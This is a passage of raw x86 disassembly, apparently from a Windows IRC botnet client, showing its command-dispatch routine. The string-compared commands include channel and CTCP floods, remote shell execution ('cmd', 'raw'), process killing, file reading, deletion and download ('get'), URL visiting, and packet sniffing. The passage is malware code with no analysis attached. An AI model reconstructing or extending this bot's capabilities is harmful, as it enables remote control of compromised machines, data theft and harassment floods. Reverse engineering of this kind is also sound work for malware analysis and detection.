		jnz	short loc_404CFD
		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404CFD
		push	[ebp+esi+var_80]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_417A5F
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_84]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_42B508
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404CFD
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_404CFD:				; CODE XREF: sub_401ACD+31B9j
					; sub_401ACD+31BFj ...
		push	[ebp+arg_10]
		push	offset dword_42B504
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D69
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D69
		push	offset asc_42CA34 ; " "
		push	offset dword_42B500
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_50F4]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_50F4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B4F0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_404D69:				; CODE XREF: sub_401ACD+3241j
					; sub_401ACD+324Cj
		push	[ebp+arg_10]
		push	offset dword_42B4EC
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DD5
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404DD5
		push	offset asc_42CA34 ; " "
		push	offset dword_42B500
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4BF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4BF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B4D8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_404DD5:				; CODE XREF: sub_401ACD+32ADj
					; sub_401ACD+32B8j
		push	[ebp+arg_10]
		push	offset aNt	; "nt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E41
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404E41
		push	offset asc_42CA34 ; " "
		push	offset dword_42B500
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_46EC]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_46EC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_404E41:				; CODE XREF: sub_401ACD+3319j
					; sub_401ACD+3324j
		push	[ebp+arg_10]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EAD
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404EAD
		push	offset asc_42CA34 ; " "
		push	offset dword_42B500
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4DF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4DF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_404EAD:				; CODE XREF: sub_401ACD+3385j
					; sub_401ACD+3390j
		push	[ebp+arg_10]
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EEC
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404EEC
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_404EEC:				; CODE XREF: sub_401ACD+33F1j
					; sub_401ACD+33FCj
		push	[ebp+arg_10]
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F2B
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F2B
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_404F2B:				; CODE XREF: sub_401ACD+3430j
					; sub_401ACD+343Bj
		push	[ebp+arg_10]
		push	offset aPartflood ; "partflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F6F
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F6F
		push	offset aCyber	; "CYBER"
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_404F6F:				; CODE XREF: sub_401ACD+346Fj
					; sub_401ACD+347Aj
		push	[ebp+arg_10]
		push	offset aPnick	; "pnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404FE8
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404FE8
		nop
		call	near ptr 268054Ch
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_17B4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B468
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_17B4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B460
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_404FE8:				; CODE XREF: sub_401ACD+34B3j
					; sub_401ACD+34BCj
		push	[ebp+arg_10]
		push	offset dword_42B454
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405135
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405135
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_405135:				; CODE XREF: sub_401ACD+352Cj
					; sub_401ACD+3539j
		push	[ebp+arg_10]
		push	offset dword_42B450
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4051CF
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_4051CF
		nop
		call	near ptr 268054Ch
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B428
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 24h

loc_4051CF:				; CODE XREF: sub_401ACD+3679j
					; sub_401ACD+3686j
		push	[ebp+arg_10]
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4052D1
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_4052D1
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		add	esp, 14h
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B460
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B460
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B460
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_4052D1:				; CODE XREF: sub_401ACD+3713j
					; sub_401ACD+3722j
		push	[ebp+arg_10]
		push	offset aChgnick	; "chgnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405318
		lea	eax, [ebp+var_1808]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_1808]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B460
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_405318:				; CODE XREF: sub_401ACD+3815j
		push	[ebp+arg_10]
		push	offset aMsg	; "msg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405407
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405407
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber_0	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset dword_42B4F0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B4F0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B4F0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_405407:				; CODE XREF: sub_401ACD+385Cj
					; sub_401ACD+3869j
		push	[ebp+arg_10]
		push	offset aNotice_0 ; "notice"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4054F6
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4054F6
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber_0	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_4054F6:				; CODE XREF: sub_401ACD+394Bj
					; sub_401ACD+3958j
		push	[ebp+arg_10]
		push	offset aCtcp	; "ctcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40560D
		cmp	[ebp+esi+var_88], ebx
		jz	loc_40560D
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B3E0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B3C8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B3B0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B3B0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_40560D:				; CODE XREF: sub_401ACD+3A3Aj
					; sub_401ACD+3A47j
		push	[ebp+arg_10]
		push	offset aMix	; "mix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405733
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405733
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B3E0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_405733:				; CODE XREF: sub_401ACD+3B51j
					; sub_401ACD+3B5Ej
		push	[ebp+arg_10]
		push	offset aRegister ; "register"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405779
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_405779
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_405779:				; CODE XREF: sub_401ACD+3C77j
					; sub_401ACD+3C82j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4062C3
		mov	edi, offset dword_4D400C

loc_405795:				; CODE XREF: sub_401ACD+3CE7j
		cmp	dword ptr [edi-4], 1
		jnz	short loc_4057A8
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_4057A8
		push	eax
		call	dword_4CB00C

loc_4057A8:				; CODE XREF: sub_401ACD+3CCCj
					; sub_401ACD+3CD2j
		add	edi, 210h
		cmp	edi, offset dword_4DA72C
		jl	short loc_405795
		cmp	[ebp+var_8], ebx
		jnz	loc_4062C3
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42B350
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4062C3
; ---------------------------------------------------------------------------

loc_4057DE:				; CODE XREF: sub_401ACD+3195j
		mov	edi, [ebp+arg_8]
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409758
		push	edi
		push	offset aN	; "n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409758
		push	edi
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409731
		push	edi
		push	offset aJ	; "j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409731
		push	edi
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409711
		push	edi
		push	offset aPt	; "pt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409711
		push	edi
		push	offset aRaw	; "raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D5
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D5
		push	edi
		push	offset aKillthread ; "killthread"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D5
		push	edi
		push	offset aK	; "k"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D5
		push	edi
		push	offset aC_quit	; "c_quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409527
		push	edi
		push	offset aC_q	; "c_q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409527
		push	edi
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D5
		push	edi
		push	offset aC_rn	; "c_rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D5
		push	edi
		push	offset aPrefix	; "prefix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BC
		push	edi
		push	offset aPr	; "pr"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BC
		push	edi
		push	offset aOpen	; "open"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948E
		push	edi
		push	offset aO	; "o"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948E
		push	edi
		push	offset aServer	; "server"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409471
		push	edi
		push	offset aSe	; "se"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409471
		push	edi
		push	offset aDns	; "dns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409406
		push	edi
		push	offset aDn	; "dn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409406
		push	edi
		push	offset aKillproc ; "killproc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D6
		push	edi
		push	offset aKp	; "kp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D6
		push	edi
		push	offset aKill	; "kill"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409377
		push	edi
		push	offset aKi	; "ki"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409377
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933B
		push	edi
		push	offset aDel	; "del"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933B
		push	edi
		push	offset aGet	; "get"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925C
		push	edi
		push	offset aGt	; "gt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925C
		push	edi
		push	offset aList	; "list"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923A
		push	edi
		push	offset aLi	; "li"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923A
		push	edi
		push	offset aVisit	; "visit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409146
		push	edi
		push	offset aV	; "v"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409146
		push	edi
		push	offset aMirccmd	; "mirccmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40910F
		push	edi
		push	offset aMirc	; "mirc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40910F
		push	edi
		push	offset aCmd	; "cmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	edi
		push	offset aCm	; "cm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	edi
		push	offset aReadfile ; "readfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409028
		push	edi
		push	offset aRf	; "rf"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409028
		push	edi
		push	offset aPsniff	; "psniff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C7B
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C41
		push	20h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405B6B
		push	offset dword_42B250
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405B6B:				; CODE XREF: sub_401ACD+4092j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_EC4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_E3C], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_E38], eax
		jnz	short loc_405BAD
		mov	esi, offset aF_1 ; "#f"
		push	offset dword_43D128
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405BAD
		mov	esi, [ebp+var_88]

loc_405BAD:				; CODE XREF: sub_401ACD+40C2j
					; sub_401ACD+40D8j
		push	esi
		lea	eax, [ebp+var_EC0]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B220
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	20h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_E40], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC4]
		push	ebx
		push	eax
		push	offset byte_411FD5
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_E40]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_405C30

loc_405C1A:				; CODE XREF: sub_401ACD+4161j
		cmp	[ebp+var_E34], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2660EB7h
		jmp	short loc_405C1A
; ---------------------------------------------------------------------------

loc_405C30:				; CODE XREF: sub_401ACD+414Bj
		nop
		call	near ptr 267084Ch
		push	eax
		push	offset dword_42B1E4
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405C41:				; CODE XREF: sub_401ACD+4082j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	20h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405C71
		push	eax
		push	offset dword_42B1A8
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405C71:				; CODE XREF: sub_401ACD+4197j
		push	offset dword_42B17C
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405C7B:				; CODE XREF: sub_401ACD+406Bj
		push	edi
		push	offset aSniffer	; "sniffer"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DCD
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405D93
		push	21h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405CBD
		push	offset unk_42B154
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405CBD:				; CODE XREF: sub_401ACD+41E4j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_FEC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F64], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_F60], eax
		jnz	short loc_405CFF
		mov	esi, offset aF_1 ; "#f"
		push	offset dword_43D128
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405CFF
		mov	esi, [ebp+var_88]

loc_405CFF:				; CODE XREF: sub_401ACD+4214j
					; sub_401ACD+422Aj
		push	esi
		lea	eax, [ebp+var_FE8]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B124
